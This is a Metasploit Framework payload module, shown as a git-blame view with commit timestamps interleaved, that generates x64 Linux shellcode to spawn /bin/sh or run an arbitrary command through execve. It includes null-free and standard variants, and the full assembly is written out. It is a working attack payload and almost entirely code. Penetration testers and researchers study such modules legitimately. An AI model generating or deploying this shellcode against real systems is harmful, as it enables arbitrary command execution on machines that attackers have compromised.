2011-10-23 11:56:13 +00:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-10-23 11:56:13 +00:00
|
|
|
##
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
module MetasploitModule
|
2021-04-09 21:50:18 -03:00
|
|
|
CachedSize = 44
|
2015-03-09 15:31:04 -05:00
|
|
|
|
2011-05-20 23:51:19 +00:00
|
|
|
include Msf::Payload::Single
|
2025-01-14 09:31:03 -05:00
|
|
|
include Msf::Payload::Linux::X64::Prepends
|
2011-05-20 23:51:19 +00:00
|
|
|
|
|
|
|
|
def initialize(info = {})
|
2025-04-20 02:57:34 +10:00
|
|
|
super(
|
|
|
|
|
merge_info(
|
|
|
|
|
info,
|
|
|
|
|
'Name' => 'Linux Execute Command',
|
|
|
|
|
'Description' => 'Execute an arbitrary command or just a /bin/sh shell',
|
|
|
|
|
'Author' => [
|
|
|
|
|
'ricky',
|
|
|
|
|
'Geyslan G. Bem <geyslan[at]gmail.com>'
|
|
|
|
|
],
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Platform' => 'linux',
|
|
|
|
|
'Arch' => ARCH_X64
|
|
|
|
|
)
|
|
|
|
|
)
|
2011-05-20 23:51:19 +00:00
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
|
[
|
2025-04-20 02:57:34 +10:00
|
|
|
OptString.new('CMD', [ false, 'The command string to execute' ]),
|
|
|
|
|
]
|
|
|
|
|
)
|
2021-04-10 00:00:34 -03:00
|
|
|
register_advanced_options(
|
|
|
|
|
[
|
2025-04-20 02:57:34 +10:00
|
|
|
OptBool.new('NullFreeVersion', [ true, 'Null-free shellcode version', false ])
|
|
|
|
|
]
|
|
|
|
|
)
|
2011-05-20 23:51:19 +00:00
|
|
|
end
|
|
|
|
|
|
2025-04-20 02:57:34 +10:00
|
|
|
def generate(_opts = {})
|
|
|
|
|
cmd = datastore['CMD'] || ''
|
2021-04-10 00:00:34 -03:00
|
|
|
nullfreeversion = datastore['NullFreeVersion']
|
|
|
|
|
|
|
|
|
|
if cmd.empty?
|
|
|
|
|
#
|
|
|
|
|
# Builds the exec payload which executes a /bin/sh shell.
|
|
|
|
|
# execve("/bin/sh", NULL, NULL)
|
|
|
|
|
#
|
|
|
|
|
if nullfreeversion
|
|
|
|
|
# 22 bytes (null-free)
|
|
|
|
|
payload = <<-EOS
|
|
|
|
|
mov rax, 0x68732f6e69622f2f
|
|
|
|
|
cdq ; edx = NULL
|
|
|
|
|
|
|
|
|
|
push rdx
|
|
|
|
|
push rax
|
|
|
|
|
push rsp
|
2021-04-12 17:26:46 -05:00
|
|
|
pop rdi ; "//bin/sh"
|
2021-04-10 00:00:34 -03:00
|
|
|
|
|
|
|
|
push rdx
|
|
|
|
|
pop rsi ; NULL
|
|
|
|
|
|
|
|
|
|
push 0x3b
|
|
|
|
|
pop rax
|
|
|
|
|
|
2021-04-12 17:26:46 -05:00
|
|
|
syscall ; execve("//bin/sh", NULL, NULL)
|
2021-04-10 00:00:34 -03:00
|
|
|
EOS
|
|
|
|
|
|
|
|
|
|
else
|
|
|
|
|
# 21 bytes (not null-free)
|
|
|
|
|
payload = <<-EOS
|
|
|
|
|
mov rax, 0x68732f6e69622f
|
|
|
|
|
cdq ; edx = NULL
|
|
|
|
|
|
|
|
|
|
push rax
|
|
|
|
|
push rsp
|
2021-04-12 17:26:46 -05:00
|
|
|
pop rdi ; "/bin/sh"
|
2021-04-10 00:00:34 -03:00
|
|
|
|
|
|
|
|
push rdx
|
|
|
|
|
pop rsi ; NULL
|
|
|
|
|
|
|
|
|
|
push 0x3b
|
|
|
|
|
pop rax
|
|
|
|
|
|
2021-04-12 17:26:46 -05:00
|
|
|
syscall ; execve("/bin/sh", NULL, NULL)
|
2021-04-10 00:00:34 -03:00
|
|
|
EOS
|
|
|
|
|
end
|
|
|
|
|
else
|
|
|
|
|
#
|
|
|
|
|
# Dynamically builds the exec payload based on the user's options.
|
|
|
|
|
# execve("/bin/sh", ["/bin/sh", "-c", "CMD"], NULL)
|
|
|
|
|
#
|
2025-04-20 02:57:34 +10:00
|
|
|
pushw_c_opt = 'dd 0x632d6866' # pushw 0x632d (metasm doesn't support pushw)
|
2021-04-10 00:00:34 -03:00
|
|
|
|
|
|
|
|
if nullfreeversion
|
|
|
|
|
if cmd.length > 0xffff
|
2025-04-20 02:57:34 +10:00
|
|
|
raise RangeError, 'CMD length has to be smaller than %d' % 0xffff, caller
|
2021-04-10 00:00:34 -03:00
|
|
|
end
|
2025-04-20 02:57:34 +10:00
|
|
|
|
2021-04-10 00:00:34 -03:00
|
|
|
if cmd.length <= 0xff # 255
|
2025-04-20 02:57:34 +10:00
|
|
|
breg = 'bl'
|
2021-04-10 00:00:34 -03:00
|
|
|
else
|
2025-04-20 02:57:34 +10:00
|
|
|
breg = 'bx'
|
2021-04-10 00:00:34 -03:00
|
|
|
if (cmd.length & 0xff) == 0 # let's avoid zeroed bytes
|
2025-04-20 02:57:34 +10:00
|
|
|
cmd += ' '
|
2021-04-10 00:00:34 -03:00
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
mov_cmd_len_to_breg = "mov #{breg}, #{cmd.length}"
|
|
|
|
|
|
|
|
|
|
# 48 bytes without cmd (null-free)
|
|
|
|
|
payload = <<-EOS
|
|
|
|
|
mov rax, 0x68732f6e69622f2f
|
|
|
|
|
cdq ; edx = NULL
|
|
|
|
|
|
|
|
|
|
jmp tocall ; jmp/call/pop cmd address
|
|
|
|
|
afterjmp:
|
2021-04-12 17:26:46 -05:00
|
|
|
pop rbp ; *CMD*
|
2021-04-10 00:00:34 -03:00
|
|
|
|
|
|
|
|
push rdx
|
|
|
|
|
pop rbx
|
|
|
|
|
#{mov_cmd_len_to_breg} ; mov (byte/word) (bl/bx), cmd.length
|
|
|
|
|
mov [rbp + rbx], dl ; NUL '\0' terminate cmd
|
|
|
|
|
|
|
|
|
|
push rdx
|
|
|
|
|
#{pushw_c_opt}
|
|
|
|
|
push rsp
|
2021-04-12 17:26:46 -05:00
|
|
|
pop rsi ; "-c"
|
2021-04-10 00:00:34 -03:00
|
|
|
|
|
|
|
|
push rdx
|
|
|
|
|
push rax
|
|
|
|
|
push rsp
|
2021-04-12 17:26:46 -05:00
|
|
|
pop rdi ; "//bin/sh"
|
2021-04-10 00:00:34 -03:00
|
|
|
|
2021-04-12 17:26:46 -05:00
|
|
|
push rdx ; NULL
|
|
|
|
|
push rbp ; *CMD*
|
|
|
|
|
push rsi ; "-c"
|
|
|
|
|
push rdi ; "//bin/sh"
|
2021-04-10 00:00:34 -03:00
|
|
|
push rsp
|
2021-04-12 17:26:46 -05:00
|
|
|
pop rsi ; ["//bin/sh", "-c", "*CMD*"]
|
2021-04-10 00:00:34 -03:00
|
|
|
|
|
|
|
|
push 0x3b
|
|
|
|
|
pop rax
|
|
|
|
|
|
2021-04-12 17:26:46 -05:00
|
|
|
syscall ; execve("//bin/sh", ["//bin/sh", "-c", "*CMD*"], NULL)
|
2021-04-10 00:00:34 -03:00
|
|
|
tocall:
|
|
|
|
|
call afterjmp
|
|
|
|
|
db "#{cmd}" ; arbitrary command
|
|
|
|
|
EOS
|
|
|
|
|
else
|
|
|
|
|
# 37 bytes without cmd (not null-free)
|
|
|
|
|
payload = <<-EOS
|
|
|
|
|
mov rax, 0x68732f6e69622f
|
|
|
|
|
cdq ; edx = NULL
|
|
|
|
|
|
|
|
|
|
push rax
|
|
|
|
|
push rsp
|
2021-04-12 17:26:46 -05:00
|
|
|
pop rdi ; "/bin/sh"
|
2021-04-10 00:00:34 -03:00
|
|
|
|
|
|
|
|
push rdx
|
|
|
|
|
#{pushw_c_opt}
|
|
|
|
|
push rsp
|
2021-04-12 17:26:46 -05:00
|
|
|
pop rsi ; "-c"
|
2021-04-10 00:00:34 -03:00
|
|
|
|
2021-04-12 17:26:46 -05:00
|
|
|
push rdx ; NULL
|
2021-04-10 00:00:34 -03:00
|
|
|
call continue
|
|
|
|
|
db "#{cmd}", 0x00 ; arbitrary command
|
|
|
|
|
continue:
|
2021-04-12 17:26:46 -05:00
|
|
|
push rsi ; "-c"
|
|
|
|
|
push rdi ; "/bin/sh"
|
2021-04-10 00:00:34 -03:00
|
|
|
push rsp
|
2021-04-12 17:26:46 -05:00
|
|
|
pop rsi ; ["/bin/sh", "-c", "*CMD*"]
|
2021-04-10 00:00:34 -03:00
|
|
|
|
|
|
|
|
push 0x3b
|
|
|
|
|
pop rax
|
|
|
|
|
|
2021-04-12 17:26:46 -05:00
|
|
|
syscall ; execve("/bin/sh", ["/bin/sh", "-c", "*CMD*"], NULL)
|
2021-04-10 00:00:34 -03:00
|
|
|
EOS
|
|
|
|
|
end
|
|
|
|
|
end
|
2021-04-09 21:50:18 -03:00
|
|
|
Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string
|
2011-05-20 23:51:19 +00:00
|
|
|
end
|
|
|
|
|
end
|